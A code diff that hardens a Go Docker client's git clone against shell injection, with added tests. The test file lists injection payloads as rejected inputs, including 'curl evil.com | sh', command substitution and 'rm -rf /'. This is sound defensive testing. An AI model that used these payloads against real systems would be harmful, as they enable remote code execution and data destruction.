internal/docker/client.go

@@ -10,6 +10,7 @@ import (
 	"log/slog"
 	"os"
 	"path/filepath"
+	"regexp"
 	"strconv"
 	"strings"
 
@@ -46,6 +47,18 @@ var ErrNotConnected = errors.New("docker client not connected")
 // ErrGitCloneFailed is returned when git clone fails.
 var ErrGitCloneFailed = errors.New("git clone failed")
 
+// ErrInvalidBranch is returned when a branch name contains invalid characters.
+var ErrInvalidBranch = errors.New("invalid branch name")
+
+// ErrInvalidCommitSHA is returned when a commit SHA is not a valid hex string.
+var ErrInvalidCommitSHA = errors.New("invalid commit SHA")
+
+// validBranchRe matches safe git branch names.
+var validBranchRe = regexp.MustCompile(`^[a-zA-Z0-9._/\-]+$`)
+
+// validCommitSHARe matches a full-length hex commit SHA.
+var validCommitSHARe = regexp.MustCompile(`^[0-9a-f]{40}$`)
+
 // Params contains dependencies for Client.
 type Params struct {
 	fx.In
@@ -430,6 +443,15 @@ func (c *Client) CloneRepo(
 	ctx context.Context,
 	repoURL, branch, commitSHA, sshPrivateKey, containerDir, hostDir string,
 ) (*CloneResult, error) {
+	// Validate inputs to prevent shell injection
+	if !validBranchRe.MatchString(branch) {
+		return nil, fmt.Errorf("%w: %q", ErrInvalidBranch, branch)
+	}
+
+	if commitSHA != "" && !validCommitSHARe.MatchString(commitSHA) {
+		return nil, fmt.Errorf("%w: %q", ErrInvalidCommitSHA, commitSHA)
+	}
+
 	if c.docker == nil {
 		return nil, ErrNotConnected
 	}
@@ -584,39 +606,36 @@ func (c *Client) createGitContainer(
 ) (string, error) {
 	gitSSHCmd := "ssh -i /keys/deploy_key -o StrictHostKeyChecking=no"
 
-	// Build the git command based on whether we have a specific commit SHA
+	// Build the git command using environment variables to avoid shell injection.
-	var cmd []string
+	// Arguments are passed via env vars and quoted in the shell script.
-
+	var script string
-	var entrypoint []string
-
 	if cfg.commitSHA != "" {
 		// Clone without depth limit so we can checkout any commit, then checkout specific SHA
-		// Using sh -c to run multiple commands - need to clear entrypoint
+		script = `git clone --branch "$CLONE_BRANCH" "$CLONE_URL" /repo && cd /repo && git checkout "$CLONE_SHA" && echo COMMIT:$(git rev-parse HEAD)`
-		// Output "COMMIT:<sha>" marker at end for parsing
-		script := fmt.Sprintf(
-			"git clone --branch %s %s /repo && cd /repo && git checkout %s && echo COMMIT:$(git rev-parse HEAD)",
-			cfg.branch, cfg.repoURL, cfg.commitSHA,
-		)
-		entrypoint = []string{}
-		cmd = []string{"sh", "-c", script}
 	} else {
 		// Shallow clone of branch HEAD, then output commit SHA
-		// Using sh -c to run multiple commands
+		script = `git clone --depth 1 --branch "$CLONE_BRANCH" "$CLONE_URL" /repo && cd /repo && echo COMMIT:$(git rev-parse HEAD)`
-		script := fmt.Sprintf(
-			"git clone --depth 1 --branch %s %s /repo && cd /repo && echo COMMIT:$(git rev-parse HEAD)",
-			cfg.branch, cfg.repoURL,
-		)
-		entrypoint = []string{}
-		cmd = []string{"sh", "-c", script}
 	}
 
+	env := []string{
+		"GIT_SSH_COMMAND=" + gitSSHCmd,
+		"CLONE_URL=" + cfg.repoURL,
+		"CLONE_BRANCH=" + cfg.branch,
+	}
+	if cfg.commitSHA != "" {
+		env = append(env, "CLONE_SHA="+cfg.commitSHA)
+	}
+
+	entrypoint := []string{}
+	cmd := []string{"sh", "-c", script}
+
 	// Use host paths for Docker bind mounts (Docker runs on the host, not in our container)
 	resp, err := c.docker.ContainerCreate(ctx,
 		&container.Config{
 			Image:      gitImage,
 			Entrypoint: entrypoint,
 			Cmd:        cmd,
-			Env:        []string{"GIT_SSH_COMMAND=" + gitSSHCmd},
+			Env:        env,
 			WorkingDir: "/",
 		},
 		&container.HostConfig{

internal/docker/validation_test.go

@@ -0,0 +1,139 @@
+package docker
+
+import (
+	"errors"
+	"log/slog"
+	"testing"
+)
+
+func TestValidBranchRegex(t *testing.T) {
+	valid := []string{
+		"main",
+		"develop",
+		"feature/my-feature",
+		"release-1.0",
+		"v1.2.3",
+		"fix/issue_42",
+		"my.branch",
+	}
+	for _, b := range valid {
+		if !validBranchRe.MatchString(b) {
+			t.Errorf("expected branch %q to be valid", b)
+		}
+	}
+
+	invalid := []string{
+		"main; curl evil.com | sh",
+		"branch$(whoami)",
+		"branch`id`",
+		"branch && rm -rf /",
+		"branch | cat /etc/passwd",
+		"",
+		"branch name with spaces",
+		"branch\nnewline",
+	}
+	for _, b := range invalid {
+		if validBranchRe.MatchString(b) {
+			t.Errorf("expected branch %q to be invalid (potential injection)", b)
+		}
+	}
+}
+
+func TestValidCommitSHARegex(t *testing.T) {
+	valid := []string{
+		"abc123def456789012345678901234567890abcd",
+		"0000000000000000000000000000000000000000",
+		"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+	}
+	for _, s := range valid {
+		if !validCommitSHARe.MatchString(s) {
+			t.Errorf("expected SHA %q to be valid", s)
+		}
+	}
+
+	invalid := []string{
+		"short",
+		"abc123",
+		"ABCDEF1234567890123456789012345678901234", // uppercase
+		"abc123def456789012345678901234567890abcd; rm -rf /",
+		"$(whoami)000000000000000000000000000000000",
+		"",
+	}
+	for _, s := range invalid {
+		if validCommitSHARe.MatchString(s) {
+			t.Errorf("expected SHA %q to be invalid (potential injection)", s)
+		}
+	}
+}
+
+func TestCloneRepoRejectsInjection(t *testing.T) {
+	c := &Client{
+		log: slog.Default(),
+	}
+
+	tests := []struct {
+		name      string
+		branch    string
+		commitSHA string
+		wantErr   error
+	}{
+		{
+			name:    "shell injection in branch",
+			branch:  "main; curl evil.com | sh #",
+			wantErr: ErrInvalidBranch,
+		},
+		{
+			name:    "command substitution in branch",
+			branch:  "$(whoami)",
+			wantErr: ErrInvalidBranch,
+		},
+		{
+			name:    "backtick injection in branch",
+			branch:  "`id`",
+			wantErr: ErrInvalidBranch,
+		},
+		{
+			name:      "injection in commitSHA",
+			branch:    "main",
+			commitSHA: "not-a-sha; rm -rf /",
+			wantErr:   ErrInvalidCommitSHA,
+		},
+		{
+			name:      "short SHA rejected",
+			branch:    "main",
+			commitSHA: "abc123",
+			wantErr:   ErrInvalidCommitSHA,
+		},
+		{
+			name:      "valid inputs pass validation (hit NotConnected)",
+			branch:    "main",
+			commitSHA: "abc123def456789012345678901234567890abcd",
+			wantErr:   ErrNotConnected,
+		},
+		{
+			name:    "valid branch no SHA passes validation (hit NotConnected)",
+			branch:  "main",
+			wantErr: ErrNotConnected,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			_, err := c.CloneRepo(
+				t.Context(),
+				"git@example.com:repo.git",
+				tt.branch,
+				tt.commitSHA,
+				"fake-key",
+				"/tmp/container",
+				"/tmp/host",
+			)
+			if err == nil {
+				t.Fatal("expected error, got nil")
+			}
+			if !errors.Is(err, tt.wantErr) {
+				t.Errorf("expected error %v, got %v", tt.wantErr, err)
+			}
+		})
+	}
+}